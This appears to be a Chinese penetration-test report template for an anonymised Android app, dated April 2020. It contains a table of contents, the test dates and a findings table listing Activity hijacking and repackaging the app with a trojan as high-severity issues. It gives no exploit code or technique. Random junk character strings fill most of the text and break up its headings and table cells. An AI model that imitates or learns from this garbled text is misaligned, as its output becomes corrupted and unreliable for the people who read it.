3 |, I7 }5 Z0 z; d" M+ T6 X( T
% K) i# ?: `' l; d8 U
3 g: H8 v2 z1 n/ ?; t
) {% f4 `. ]& e! m# W( G0 q" F: j( D. }9 V5 B m" V x
. b, |# ?' X& Y6 l4 C
0 A) z4 G' t4 ` 2 }5 o. g1 l0 F0 ?! o
+ Y% w8 [- u F: m/ }" Y# k/ i( M$ M
$ b0 ?& [0 |) K0 d: R
, H' d! o5 {$ w 文档编号:
/ ?% i' z) V, m; j$ Y' ?. m6 M n6 e% ?! q/ ?* T! C7 c9 Q( u, b
! c f$ Y0 D8 T$ L* M% U) T0 }
% T% n% X/ c5 a3 {7 \
6 }3 Y* |1 O! T( G* w, o# M3 ]" x* m% c0 f3 X1 F7 U* C
6 x" S7 I# k/ O$ v" Y* z
, g6 n6 p$ ]' F( q- O q* _6 E, T h' `0 P
3 V, O: L- @% }+ B : p* U) R& d3 o$ u3 ~1 b9 y% V: ^
M# h) S9 R$ G
8 [7 a/ R) y( ?" ^
8 X1 W f& C& W" ~- D ! A4 s) t$ _$ H* C2 C
6 `+ E9 K# i5 t
w9 l! d7 u, a' W! ?4 s7 l5 ^: G1 Y2 j# @9 ?3 |2 l# K' Z
& L1 M+ i0 O$ Y# c$ R& J6 d
5 H. N1 z2 U0 Z: O ^6 r
B2 ]4 F; v% |, s) Z/ A) p
`4 H! U$ ~# \) q; u ! c: T7 ~$ @( r4 D$ K
+ L# w5 C2 i4 q$ D N% a3 b* b
6 S% X( C1 W8 U$ R, D+ ^
3 Z% X, `: J( P9 U . @4 B& q8 r$ M2 e& l% f6 A( z
& x; R# R, t) G& T1 ^2 u ' B) @- Y* J7 V6 r( x
0 o2 [: o+ f! ^* S% f 9 M7 r7 G) d, ]2 X7 n5 o
8 X! Z( o e( V0 o
( f0 l( G3 T7 g" x2 d
( G H9 \1 R1 o# e
4 N& e$ F# X/ a6 u$ x6 q1 _8 p: w, E7 R9 E3 W) k
某某某APP渗透测试 & w( l& M1 R( \4 E8 j
- q( A# p5 C& z" u# l ) {6 ~0 }/ N' E4 G' A: Z
+ {+ h: C f' ~* w0 U2 x, }& w
/ t, b0 `- J, ^0 d) V: z0 W% J( E
$ n: l7 T- j, _$ Z! ~; a; F
" p! Y- r% Z: {" E : ?' h$ l4 j* T- ]7 x7 W9 L
( y; Y3 {1 S x* R
3 X" N$ v7 Z9 X5 ]5 \, ^
' ?/ p, c9 H1 I+ i 4 k! C* e4 n+ v
* `- w" l+ w S, J$ v! W9 l8 ~) [* T $ Z6 [/ G. O% }2 `; k
4 t( a$ V, y& L% Q; Z- f
/ E# M9 P- S& ~/ J4 T- ~5 P( J5 ^- J5 J1 Z, J3 }0 G4 ~
2 Q9 T2 T! B, ?0 ?! s
& G& l, B* E7 B1 k # [7 j$ _. a8 j Z6 r' d
* ~- T' B0 P+ X1 q+ D
4 X; E8 [2 H! ]) S1 X
0 S& W- z) y7 ?3 ^2 _$ i, ^4 q ( b" l( ^0 t. Z5 B( Y8 \: c
5 c) b" p% ^/ Y8 \7 x9 u' L8 }
$ x" ^7 h8 _2 K, O0 H
) K% A! i. A2 p5 S4 U/ O; j : S4 O, u0 T; F7 \( s% a$ w- Q; h+ f
* N5 Y/ A' G* |7 S- ?
技 术 报 告 ; z8 G2 D% {! D+ @0 ~
$ H8 ?( u" q, W G
$ c" |7 M. B' H7 z6 D A# A( ^) e
! c3 ^( z- A6 T; `7 ]; ]
2 _& }/ n' ~* O( K/ ^+ _
4 }1 E6 o3 n, ]
; f' D4 b, F9 j# B, a0 y- z5 J
/ d2 E# z- k+ R+ M
7 E& J# x1 X! g6 {7 R
" R) C+ t" T7 S K( \ ; Q! X4 d7 B: [) w1 h# E+ E
: I' t5 N" ?& W1 ]
; @ E3 }3 @6 D, \7 S q- V, l( U: p1 ]% E& y
7 W2 U) W# t' d2 b2 E$ i/ b
$ \' `/ |" \, z4 ?
5 `7 }( Q% k; O" }- f/ I- I, o8 e2 I
( G7 ?1 \' v1 m7 d8 F
7 J' M7 h- ^& [" B% Q' Q
; l$ b8 e. C( |4 H) E8 m3 e
4 e* ^3 V1 {* I ' k4 u+ N2 M! Q, [( {
' y! y' g' i) s, P* O7 | ; p G$ y) I7 X) B$ r* z. D
7 i# p* ]& F2 P; X6 K9 L
: n1 N' {' O0 z V+ @
( c+ a" p4 N8 D( v
1 _3 M* M- O0 f& k) ?9 u( W3 u7 j
$ O' }4 Z6 ~' B' c0 x* E- E2 V 1 O; u) L, Y$ |, p K
, z1 U$ B, I; f
; b& f3 r% q! @2 `
/ l4 @3 s! h' e 3 M$ q5 A) c% G5 z9 I
; I" A- ]& A- w4 E3 y; w
4 j0 M: `. l0 o- F; Q4 X+ {. h& T& Y+ Z% K+ l3 ]. p
2 g3 G6 Q1 d3 N6 D5 @/ {0 \$ q9 f: u7 t9 G- ^$ y
) A" Y9 q6 z+ s8 L- i3 k9 U( l$ ?2 S
: D3 @% T! `4 @ q3 I
: Y2 e: |! g1 V: d, T9 A 0 ?5 P' E% Z B; Q, q1 E
# a( g7 ^* a4 \) p7 ]
$ L" C+ Z- v) o* ]1 ?4 y
$ P$ W% F4 j, I2 u( q * p/ U. W3 H' S5 i
; }$ T6 p/ [: @
8 C- W: R6 @$ | S1 x, w! Q+ b! R" a6 ]8 x% J5 B: E5 D0 d
$ U" i# d. ~ V! O6 R/ D8 d& P4 q+ J! r+ T0 h* L
- [. x& L6 C; l* J3 c1 x3 X v4 z
! @2 y4 R1 C; R4 S2 g. I) D5 J3 r 6 F2 d( N; |( z+ b/ u
8 O+ H# T! O0 H7 l$ y
5 n7 N/ G% ]4 Q, D
, y: y' F# G8 r . c Y0 p' a B, Z) K4 F) M# t
- g' b4 S- D2 D6 r! `5 O; z
; z7 D6 ?+ X2 ]5 }. h( |2 t4 }& \8 S7 R- Y4 _# h% P$ U+ ] K+ M
, ~* U7 G7 _' ~8 T- ~9 X
6 x; i) d5 u- O
) F. z$ x1 q0 Y. g4 v6 ` Q+ u
5 c" a* _# y. b- {2 q' M
* P$ M# }/ b. {* G3 b0 t
2 v2 x0 N4 t0 S s 5 R: h* _; C- j% b1 r) u9 n
0 Q8 k' n7 d% Y- F
7 K! I6 b! o6 O( O9 ?' X* j
8 c) T. M% b4 `" m; V9 Q/ g
; R: j& ?7 a, s' z& k' h; X0 w0 \; R8 k; f7 a6 o$ Y
4 P5 V# z1 p; [ w9 m1 T
. _ p6 K; W" x0 \% N. h" ]1 o . J% Q+ |) f9 N2 U# A" L
& H# r% N' z9 H; @" _9 k! F7 e ) v# H+ J) E& ?
" g; u' S( ^- L, R2 N+ C 1 M [$ f! Q2 L" E( k3 O. ]
: ^1 N8 ^3 c" |( z
, Q* C- f' D' D8 ?
/ y% ? \7 z5 X2 ` Q7 V0 X" e
3 Q6 E8 Z/ N3 p7 r/ _/ h& M
* W4 e, P8 n! ]3 Q h+ z
# j. |" f6 u4 F1 `
- O# K8 Y; ?1 @
7 l- t5 R, ~( Y [3 `7 U
& P1 Z2 g! T5 [4 j 5 R; q) a" f' r: X* ?" D: ^
6 O4 e2 d( R1 b6 j- Z! K9 k
3 D/ _/ [1 B9 G- X( }2 x' B
; {4 }5 s! o+ a6 s$ _
" z- [: x, a: r" ^. v, ^" w- w8 O( q( l2 u. S; t; k6 f; L
- w1 O1 l' |4 `3 o' D
5 X, C7 p( B! K" H2 r# M
$ v0 x2 r2 W4 W5 W8 d" Y5 ~5 {" [6 K9 ~/ A; V- ~0 G
. B! q6 Y4 U' ^/ Q' e2 ]: _- Q
6 T2 U A# j J
- t, ~ g. {, y+ m. g
G+ ?2 }3 d* S7 j: N- u
! n& w( w: ]6 d2 H- G0 Z: B* P" E, K. R7 U# m! E1 B. [
* {8 w) |, c7 i4 P+ ?+ W
# b+ w$ @4 P: E* J
2 i: s7 r# r3 t
4 b: T3 v& n* v# x/ ] : k/ j& B6 w( X$ C: l
* D4 x2 K$ t$ w/ i4 |) \' u
二〇二〇年
m( H+ J, u5 x9 k" x; s! a% W f- W& _/ a* R* i
) m8 Q. \9 `; F4 ~* t
7 i# l$ ]2 t. f! y/ H1 b 4 J; x3 b, G: U- A! y0 J
6 w) X4 w) N3 U
* J* I% E3 \' f( j# j. n
# y7 q, b: Y/ Z! I0 h& \! j6 V) x8 V, u 0 u" p- t! T# x" y3 r
3 K4 x# u0 j) b+ _5 o
$ B; D1 }: x5 C" I0 {
; n, n, [2 O7 u* o# I
8 z6 f6 ?# L' H9 G! f; E' ]' t
3 _- P0 V% a7 @' T. }
/ z, m9 E$ n, X) ~* q0 }+ q9 M4 s$ n/ r
3 {. Z( b4 F- N4 @
+ Y; l y! Z) [, s1 s+ h2 [ y8 M
7 V9 N' s1 F" D
3 G: g, w' h" A6 z- w0 G 8 l/ x9 s0 k4 b' Z) @, S
* J# A+ [' z8 j; @0 j$ w8 W% H
目 录 ( T; ~% [ V, f$ ~) X$ y" z3 e
8 e: z' F' t, @3 M2 I3 E1 j 7 L9 `: d; ~ e6 a' O/ P) q, F
- s8 L& [8 a7 X* J1 ?2 o " v3 B" w {3 v( w6 ^
4 [! j/ z7 D4 V( u6 X2 ~ , g9 ^2 g2 e/ k! z( ~
: l4 t9 X9 G) N+ l5 `& |
$ b$ N% j1 P" _1 m) ^
7 B/ b4 z; _8 j7 [( `+ `: S* O
% D' g/ a) B: E: _( j
0 H' ^, _% ^' S
9 O. ?* a: K/ }0 F9 H1 R3 c2 ^: Q3 A( U- l) A d# \# [
1 概述... 3 ' R# V" p/ K* j \
* @; ~$ `8 y4 n$ N" `. ] - |+ }' S& {) _7 { j( e
! `' |5 ?$ h8 ^ , _( |4 B& I7 Q4 J4 l, v. [- A7 d
5 V+ W& p9 Y, L2 @
1.2测试时间... 3
$ ?6 B c9 `( B& V8 k0 E/ H
1 Z, _, E! ~8 A! @' ~6 H 6 J7 \5 x3 Q- X+ D B
; K3 y* U, D, T, U& l% Z$ N
0 V$ ~4 b% p/ Z N2 A3 q: U, ~8 G* d6 t- E8 @( S& S5 ?6 p
1.3测试对象... 3 / z5 G o! p3 H3 [2 @6 f2 k
0 D; L3 @; I6 Y* b) s; b; l
, E- h# F, U0 I' z' x2 w1 Z8 Q# C1 S- P& p' H& p& z8 ]
W( m, f: r& y2 f& j
) _. {: {( k$ L2 c5 O' g# J 1.4测试结果... 3 : x5 U& y& e9 ^( t+ L- P
9 j6 P; L0 s4 j( g6 a4 v
6 r7 i# Q6 s& A! X
4 s P% ~8 U! X" d) i/ z9 q. ]2 h
" {9 N* _8 S( O ]/ M1 |) D6 I6 @5 ~0 o F- S
2 检测结果... 4
: A2 N. Z+ {: B3 t
8 u( c7 |; a B* v1 L1 k4 o & {6 l, J7 ?8 s9 m
% D7 q- ?/ j. |/ S5 d9 p4 V
7 Y: g4 G! I% {1 T) K" N$ ~
+ N2 d, y& W0 |2 C" {5 L 2.1 某某某... 4
7 y U; C* G* t, ]% f3 j; e8 O8 b: L/ l% L3 K. d
3 ~* W* f# f8 X9 y5 e+ d& W E
% |% y! e4 }0 Q& P0 t
/ J4 b+ O" Z; t, u: T) w1 r& E
) M* @+ \" ]4 j) `- Q z+ c 2.1.1检测目标... 4 ) Q5 ~2 ?5 G# x, u' U7 K: [
& a2 H/ A8 _& t8 \ A 9 {4 [3 ]! Q$ s- Y
$ o! p0 n/ p* D3 A. u
$ h; O+ h, a6 Y# y- p" ^: T- |' z7 x
$ [8 [1 v9 g L 2.1.2检测结果... 4 : P0 v6 e. e; I# K3 y+ _
p t R" K: u' Z9 w
' \& V, v1 u' V0 n& A$ ?2 a4 F$ V/ B5 \7 ~7 w' P5 ^" S# D6 u
9 p- l1 e- r5 b X) t8 c) [, @, X
2 N: m8 ~4 N8 E4 J 2.1.2.1. 4
" k- R# _0 K2 ?
$ l1 X: c s* t( s) i( u / @( y2 ?) F$ W% ~# y" ^, o
+ [+ \+ {) ~/ H3 e) k9 n; d0 {
/ u% u8 c$ J9 Q5 @' z3 _: `% l, p# y8 @' E+ N* }% |: q
2.1.2.2. 6
1 j* d9 g; z/ @' U7 k- Q7 H
( N* j2 g+ }1 v- l) I% S
9 K2 y3 M0 s/ f8 V/ [+ n& W3 M8 _; a5 p
( K% ?0 L+ }+ S+ B) l' Z$ u5 e, J8 |0 f7 ^
! F# i# R) \- P* g
# h$ l, z1 h9 L- ^" q& v ! O( V: ]3 B3 c0 i; L4 A
% u% X! X9 I1 L1 @) {# l
! Q$ Z/ T$ s5 d0 v$ S. q+ n8 w
. l' x! U" J0 `8 H) T, M2 G, I
: B1 I; g, o0 V+ D$ e& g$ x. s3 g/ f
9 y8 n& T% |' L+ ^5 l( g0 c3 B% q* @ ( O8 p; |' W ~, O+ _, F
+ t2 z# `9 y& L. z7 l! a0 T, m
9 o, S& h+ F A8 l
0 f5 P% {& k. H6 I% e3 x: a* i
5 c B0 x! b& v* Z" p6 s T g# F; J0 X+ c/ B5 {( E( o. o
1 概述
' x# t$ z+ Y* I" r0 u0 b) Y
1 ~$ \" o/ g, O& e# t5 C4 R 5 q5 C* a; j8 G/ j) V- r, V
" V: e9 |: T) {4 ?3 A( a- r+ i
* |6 o$ t4 g! [# R3 Y( c
4 W/ I5 \- A S0 g0 A! c% P" b 1.2测试时间 : Q+ B8 I- d8 u
) ]* a; l, h6 g* ?" v2 x
! z7 b; X$ z+ {3 C* r" J- ]0 F$ l& i+ \5 H; b1 M* `/ k
3 J) w2 o/ W/ R( i$ m* n
% q% d. y$ T A* ~
6 w( o l7 V; B1 }* R
5 {* l5 e- c1 t$ i6 ^
! v# n. V6 z1 F% T! o2 ^+ Z$ B( X: i6 |
, T% L9 y& o) y( V* G1 P: v% w# d( L/ j& D9 k; @
: _; U' i' H' C+ |. A+ l0 F; V- O
4 V x9 Y$ f/ `2 d 渗透测试时间 9 e6 w9 X9 E5 Z! S
' O2 ^9 n' a% ]7 B+ c/ [. f# l
: N; I; } V* M( s2 F; d
* d+ |" p* E# `. |' o4 {
|
5 A; ?4 }) \1 w; O$ R
/ v5 [& ?7 j' Z
8 ?* v3 G# F3 O/ M. R* O0 f" f4 p, K, d2 T. z" y
$ \4 l) _# Z5 V/ h! m' B: |
0 Q% K L/ j& S; a! N2 _$ j1 D
+ _- I% L0 h* {1 E" ?
) [3 |+ n5 ]1 z7 ~- x+ [ / D+ o$ @# B0 [) c7 x: d; r
+ [5 S1 }( v# Q1 |5 ?2 F5 _6 x
起始时间 / S& ` k; t7 k' ]" {
4 o6 V. e8 p, X1 R1 ]
( K( z2 t$ [6 w D* w* {- J! u# u0 p
| : K# j4 M: s) ^* v5 d* K w
, m- E1 l; p/ t! {) M6 t8 t! q1 `0 s 2 ], Z- d* x6 a5 Y
) |; N0 [* Q& n* d " {* @" p/ Y! i" j; N, G3 ~9 ^
6 z7 S4 z D v 2020年4月6日
, q& p+ s' k7 }7 Y g# h3 _# Y! t" Z% S
. f4 m; Y4 V: k2 A- s/ ~, s8 x9 Y3 |! }+ ~9 T" S2 c" k
| ; n: B: P1 R0 W K- ^4 Q
, b* f5 I* s( @7 | - g1 f! ]6 Y6 W2 j' u& P: `
* s2 K6 M8 q5 g 8 v, d: i X* _; G" O6 s& e
6 F* U/ {* L/ Z; P" w# V$ F
8 _' t" y7 c% l3 @7 {5 }3 `6 D
# R: y2 u) Z" F: J
9 f% C. b# x$ ]/ L2 T: S0 c+ T l, j
结束时间
! p0 {- C; M# C/ n
6 Y& [5 B, a; ^0 L+ t . p2 Z; D6 ?6 @3 ^
/ u) q2 k, H3 E& L) q D
| $ b) R% }, k2 \* l1 N/ N3 M
. F% P! Q: l1 V6 i. r _0 H2 K
' o' N9 r) H% j& i
4 R5 Q! A% g9 ?. q : k1 I& q7 B0 m1 {& P) }# t: z" Z3 x
5 [5 @6 Q+ Q7 _7 C- C9 d" r( J- K
2020年4月9日 & P/ ?. ?+ U: B: L( g
' Q* o: a/ X9 d+ u2 z
) A# K$ S( _7 L9 E" e
R3 x5 r% ]: L* J9 v | # I* a; F% K( [2 V% @
# v+ B* m) f! z. m7 ?7 P& q0 o
! f, u8 a( `% x! s% @: }
% v, D% ]+ G% ^+ G+ _# t8 y" }
$ B) Z. c! R) H+ u [% w, X; z* |. i, }3 c
9 r1 i/ ^6 ~5 z. F6 z
) Z. e( F* Y$ `
$ [9 Y% x' z6 k7 u" d k
# U! t0 e- J! m 1.3测试对象
" a8 ] l. k" W7 o6 a8 Y8 j2 `
, g4 `; v! u9 e8 F6 | $ K8 Q/ h+ c0 d0 z% w1 }
* P# ]; E% Q& u, A3 v6 c
& {: O- L9 y- s/ Y, k: A( E2 E) n' Y3 l! y
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
2 \3 P2 Z1 W2 ?' Q* r& O7 S2 a; w) j5 F2 I
% y9 h, A3 V# g
; v! o4 l8 P% \- h q, U3 J' T / a- o. K6 e$ u% M) c8 b$ f
, q2 @5 g. v# P! K8 S- n* _) G 表1-1 检测对象
7 {0 y, Y% p5 o h4 ?3 `2 x- Q- ]; N" `6 n
, _( I, \; F/ j. F- y, m$ ?( I
$ |' D* n2 W# T, T
' u* k9 z5 q$ d& `( S6 Y' @- d
% d; l% x) ?" ~, @' O2 X ; h8 r" U! T' _" c1 W# j! p. y! F4 P
* [/ n9 v9 m: K2 T/ ~
( [) s0 }! U; T+ J% a. U) a9 y
& b- U! w0 f3 D9 P 5 d/ x, {& s% i* d/ z$ C
0 e; `3 {! A% |. ?* {9 w/ a: W/ G / q( f6 T0 K8 n1 Z+ _
b) y, O+ A6 q4 \ 序号
( f* @6 s1 K# a! f. n4 B- C* d8 d+ \' R3 N; U
% N) t6 Z+ |% }# y, [# e6 P: B' K$ J2 f3 P
|
* w( c- ^3 u7 W) h
* V- d d, P& w* j# O! y
. F% n9 a" B. N! Y
6 J0 T% k+ H4 k" P H
* D6 E! N% @/ W3 j" z# x! s* K& v7 p
6 }3 v' v$ B$ _2 E) o8 F6 _; J9 n 测试对象
2 {8 B% W" o8 x( M
' h' z! {# I [7 A
1 z' j" \, f; z9 c0 V( H! l$ T0 [+ x8 l% A" f, Y( N4 O
| 1 w! w% J+ c5 F: o- p
/ a. }3 I8 U5 f: B
' h8 H, K' j6 u; E! M5 s U# p
2 Y2 p5 [ y9 v4 }+ n- y
; n0 W. r4 e/ r8 U" d9 ^7 l6 c7 V8 F( _
测试地址 1 f& K; g+ m5 n) h4 b, N( q1 E
+ ?4 k K& x, z0 v 9 ?- Q+ C+ B4 j' z* w( D0 n3 S
$ H$ g) v/ v1 c' y! l& U0 ~ |
' y; u, x. ~5 L' B- M. Z
Y% }; o3 c' R8 P) } / T/ ?+ T& N j& t3 K
; S2 G# J. Z7 A( F% d: _8 L: }
. `+ d( `) Z1 H! E: a& h
* E% Z; B8 j2 i& I. M& } 安全漏洞
$ e+ a& z" J+ V- f
& ]+ g* N4 T8 E9 Q2 F
. a; Z& y, r+ A& M5 L' r6 G" |0 `/ h+ C u1 R
| $ d( \# j2 X& F( X+ I5 R
/ e' Y x" J& D8 W+ n
0 `# v2 J, L; _6 o E u. c! \
' |; ~: @# I* Z/ n! R
, o' d4 {" e5 V! D2 K& l0 B1 d( L5 q' o' [7 [( o
& ^, A5 w/ z2 }$ Z" J
& b+ P% N2 d% V' \7 Z' D$ k2 b6 p ; |$ X$ O( k' D3 {! c! q
2 ?7 y5 l9 t p% f$ P( w0 b' y
1
! V5 A" W& U2 z' Y6 x1 A v/ f z" }& l E/ X; Y+ \% m+ u
5 g) [; c. i0 K" P
4 ~+ |# e2 K% }6 ^9 ?$ h6 M9 ~ | " c: W9 i! s; K
) z" u l1 E' ?
2 V% s8 F/ Q. `( N- ]
+ f$ P7 e4 P. \ " u" r5 c" {* A: ~ F, R% l
3 d% H$ ?: K/ _) I' M- Z
某某某安卓APP
3 e8 a1 h6 I- U/ r' n3 p" ~; E; k+ v3 a
% }( _8 T0 K# h5 z4 Q$ M9 }
5 F4 e) {! a7 S( Z# j8 B Z | . F. t8 o- e h! W7 h$ u( M
# J, C! S$ j b ' b0 @0 ?- j$ K3 _( O
4 S5 u. f9 T" ?+ B( b1 ~; `
8 F# r$ ?* C8 F" Q8 X
! L! G: W; G; @$ J1 g6 D- I
) ]+ l) I+ E# R: r; {' f
& @ r" H, {" c2 Z$ g7 x& ?0 D
2 E5 ]3 Y" l; [: j& n4 M7 F- k4 q1 a) y' y- U% V8 W$ O+ B; f
|
. @* l0 P$ r- D' M- m$ g; I$ t: s& Y" C
! j" Z# u6 X* s0 `& t, ]3 S, C) T' o
7 q5 R0 |0 o$ o8 q" D8 v) C
! v% M! }/ p* H; o 2
1 }$ [, @ z% w- ]9 E: _
5 I3 ~" J% j% K0 B / D: k' t9 z; t8 y( ^% Y' b
( f" i8 C) P3 [1 J3 f | 0 t# m# C ]1 ^4 x1 p) i1 c; ~8 _9 D
' `. r5 d& Z4 T0 K U& q
V* |2 ]1 Y: F0 m8 v
/ {: U4 b5 ?8 B( W& J " ^. M6 y+ _' h
( `0 Y6 t* i: N2 z
* p) g& ?) E [$ g- f; |5 E* u5 k7 U
9 a; E& b$ l( i1 H
9 R6 n8 L! ]) r+ x( T
' w2 {, f, h9 J# |8 X4 R: q3 K 1.4测试结果 , G1 I, @* Y) y! `
7 k+ r8 |6 j2 w& j) A# ^2 v# V2 r$ C
. J. d+ d2 V6 p9 M( e: T! U3 G+ i$ ~$ r4 h2 H# r# {
" `, e. U; N) T/ [0 u
/ ? z8 I& p' {9 m- A 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
' _* i* P& w) z5 c6 E8 I2 y2 b% Z. W! d; |2 R/ b
) O' W9 R# P0 F; U" m4 i
; s/ ]: N& `3 D2 {& k
8 a4 Q& I# U! C/ T3 i; I5 r
8 p- Q$ ]$ S! T5 ]' d+ R ; i' \0 d+ ^2 P8 N/ s9 n
5 k ^* Y7 s5 s0 A$ Z5 p1 N
?1 f# d3 O8 Z! U. y' z9 U
( I% i4 N. T/ h3 s; X
+ \: ?! Y8 U' _2 o
$ D% P+ Y! X5 z4 x% H5 Q. b) l
6 c, f( E* e' L3 @! [7 t, r5 M9 h5 `8 [) n
3 P5 Z6 e v( q* B+ z8 _4 p m* V2 O3 u. m8 o' D0 b: Z
6 Q! T2 H/ X! ?& x
* E i: F; m9 A' ]5 i# t' H1 E
: j/ T5 b3 i4 q" x: F
4 H6 B; r5 f# j- f/ l1 u
/ m* A: p7 a9 t) z/ ^% \
$ n8 ^* m Z' M' x 序号
& v0 U" ?8 v8 Y+ c+ O
5 y6 z9 n l- w# y
1 {1 m7 @' f H" p0 |; J, ]- |/ U. n2 d& [. t4 @
|
! O# r' l y( j5 A7 Y: j# X% @! L8 {
+ o8 u# s% [5 K4 f7 ~1 P! s, d: f
2 ~. N, i; D \ * c) m6 ?* P- g* m% J; y
+ H9 U/ r8 m8 K& \( F
系统名称 : r$ h. R+ s- c" {% t. [" {) b; v
: j; \- Y/ o3 H1 ^( j! k
! j& K% g( r9 I- l- P' R$ E1 e0 E
, a' ~/ y* l. D
|
: h. J8 H, u' r6 ]6 t, {9 P) n8 y2 n9 Y- `
- d! C2 a( n5 P) N6 g4 o" l( C: F# T2 a$ C" r( K- a3 S* J
+ R8 |3 }: q4 `+ L. n
" G Q; x2 P( e' F4 P' a
漏洞名称
# i% D' k$ n) o9 _
, c% Y! U1 \) I1 C- Z 0 k& o4 M6 e1 H/ D E) c! h) H4 d5 O
$ c+ e6 u7 `) I |
/ m1 c- }6 j3 Q2 A" r, I0 o N4 D: U8 O. G/ d- Q V' P+ X
# f/ R+ T& U( h/ W k2 x
. s. V9 _" Z* G. A5 _" E
' w' B Y" B* N, m* E
. X. M1 ]) n3 E2 ]$ w. M 漏洞危害 # n, ^! Z5 @" B; Z; G5 l2 O/ r
$ ~$ Y! E X) D7 ]& d# {! a
8 |- f6 \' Y9 v
m. ]1 j+ `- _% t' | |
5 n! l8 [8 E" Q. i! T
8 S/ H T, ? U6 e. q' z * R0 r$ h( z' T: V: K
! n" m- @0 d2 S1 X
" _$ e8 C% Y: P2 U' s
" `5 D7 D4 }9 D) C) ] 修复结果 * {+ R. B1 l' X
' M& B+ Z! k. C2 j/ z* v! o
& i4 ?5 [" z0 A% f" R m9 v" r* |9 C2 K( |" i
|
4 T% k) j- F1 k5 T' l+ ]% p' \ B/ y8 w$ l/ w& `5 d! t
1 m. \# M& N9 L
! r# y9 b: z* ?6 u( B
+ C. F" D. v) V3 e
$ m& r# z6 D8 Z; A9 l 2 T; Y8 b( M# b" e# {; }
$ e% n7 s2 k- V/ l' Y y0 t/ B H ) N, G y8 v- i2 K( X
2 l h& t# o/ ?* m$ l 1
6 B- P. S" d( H+ i( R
7 y: b0 n1 I I0 E- B4 b, B
3 r/ N2 B4 Y9 D/ I( M) L. u
: D) B9 j# ^1 A$ A! y | 8 l$ b+ q" M. y I& N( W4 m
# I; e) T2 V- \5 M ) @3 i- w* K5 k8 B# y7 `9 h
b, h+ K7 o) ?
$ a5 Q( T3 v6 ~
8 m; I( U7 y( {; a9 }. X 某某某某某某APP
9 r$ g* P* s6 q% k0 D, o- A( S& c
$ b4 ]( p" G+ l8 Y 5 t0 \- k8 p6 i5 {, P- C
, N4 q2 _. `8 e$ j' [, K4 {9 H- v( }
|
, R/ a1 U" {2 a9 l. J: U, y2 T- t9 C+ M3 }: R! }- j
$ |. b2 Q9 y3 g: r6 G6 q. q0 n
( U( O2 h) y5 y; N % a G3 u5 l* n' [
. ~7 u) v& F5 H" Y& Z( Q7 ] Activity 劫持
' \+ U( l" f8 d, |4 n- t$ @2 {, L
' j. P2 S3 G3 I( s$ C% _
3 V9 z; K9 R& _- u# O
7 f6 t, d& |3 O) K
$ `& x$ _5 _" G M3 a
4 g2 g% p+ N* f; ?) f# q3 [! d
% E+ h& D- X, V o, o+ u
7 G1 \" z# [# B |* i, [ C: M2 T: u2 v- m* }4 `
3 h$ h. v- Y& y | , d( Y* B# Q' C o3 ?
% w+ G% g7 ?( R! a2 X
6 h. O$ }& [' T. X
; d5 k1 |+ t& H) `2 j & ^) }& X. O1 J0 ?) S. @5 O, ]
$ M2 M/ \* }/ d. p+ k' o6 M 高
1 T3 b- v7 T. D& m! i; N" S# t5 |
* E* o7 W- ?2 c! B* e' I ! N6 I1 u% B- d1 Z/ W+ z z
) Y0 t, U# \) h- x0 Q# [2 {, b3 e
|
+ t/ I" p- k% Z6 r5 V. Q' `/ J& `7 V+ ~+ c' G
+ ?. {4 R# R0 y6 m$ _) ~- i2 a$ K6 F( q( f# U1 I. ^% e
0 w2 g z8 y: a: \" x' Q
- d0 d5 |$ R; _0 ~0 Z& j* X
6 N5 g/ K' K$ ~+ \
4 ^' T. k! @. I* B/ O! p7 ` 8 b) u+ x4 }3 f' F6 V6 |
2 D- o. R; K: g# Z @ |
2 ?% k$ a& Y' ?( q/ n# g2 Q
, g; m' c/ r% L9 E! j5 i- ^3 I: d* r 7 Z' ^6 g( z9 Y, C# N$ S) U
' G+ ? ]2 H6 ~9 i4 W
! ^# |. V0 |9 }& N8 q0 f1 a8 `! i' y6 n
8 L7 Q- J7 p9 ^! \( u' [2 r7 Y: f5 `6 P
: U1 ] H* ^/ W9 O1 j3 [+ _' Z8 h0 n
0 a! S/ J2 r0 B# W 2
) a w- `: u T3 w+ z1 X' i6 {, b9 R$ M
; ~! b! W/ u1 B3 M# V9 [# ?
1 Q2 k. o) d! l& L% p |
- G) L; M8 `* M: C: X8 [8 U3 x- W, k {
% I& A; y. y C `/ L" C
3 c0 ^) p: R7 @. a! w' Z: @
' ~! {3 q8 n* K* h6 x+ x$ E4 R3 H# d8 E$ d
某某某某某某APP
/ J6 M1 w( a' y7 w& a
/ o# B7 B/ X! L! q: E5 ]- s0 e
2 C- U% U- c8 p5 h
8 T( z" o) J! }. ]) x8 X$ F6 E | % a, c/ R7 }; S" Z4 B
( {) v1 k4 `, C n 9 ?" y4 y; v& u& _% d. H0 n+ `
6 e9 D! f# x* n- \9 o+ b4 Q" t: g
% U$ `! h v; T( j) ^
% Y7 O' u9 {& v# J 反编译二次打包捆绑木马、篡改APP代码
* D8 x* Q* ?$ @6 n: g7 Q9 Y4 e: t# x, c; D. `' {8 b
+ @, Y& _9 h% F) u. N1 P5 U. e q2 ^, S3 x
| " R8 M! r2 T1 W' H; c, P& [0 X
0 [* E4 S, o0 p$ n5 R 0 j: a# o) U: }. i3 n
# R" q6 \" p8 N- n) f# R" A
5 ^5 x2 l. I0 e9 l- h+ M3 K$ h. v0 M) j% F6 c0 W! M: h1 L
高
7 I: e* U7 j+ l) t- L3 I/ m. f3 J; V# Y5 Q# h0 L" i3 H. z% |
0 w; n- f( a% Y8 O$ Z
! _0 F: q& |8 l0 `" f7 _5 | |
/ ?: h: |$ z% P7 u3 ]% z) S( k* M' h, v2 P4 B3 @
: N. ` u2 N" _; e3 \" y
3 ]& ]; ^/ u- \) ~
* J6 p' T; V; M7 t* b1 B# V
6 K" z" f/ Z* ^) [- T3 j
. t5 J) G4 U. Z9 j
& N0 c0 m3 h* f5 o" C2 M/ ^
3 }0 C$ m2 ~5 [" \
; O8 ?! E$ u+ @# x% F3 v8 [ |
8 u7 S" F* |+ k, l, ?) e6 | f& E2 r* L
) G1 l+ l7 t5 N1 x
& R1 p8 y% M) k D# V" v4 t) }; \
7 h. J% L+ i. t6 B
, Q0 ~# o1 g1 s& o% \
% j# f: A3 ~7 }8 L
& L( c/ P% N4 W! l7 X8 [1 H/ J) D9 D0 y: z, N$ n* e
3 M# i7 N, c' k, e0 w/ }( Z
5 U1 X# {% ~/ J; E* V6 Q7 c ( {# E" L. a$ x, \# v& u N$ ^* x; a
2 j3 _4 M. B: w \( @6 E8 i+ D
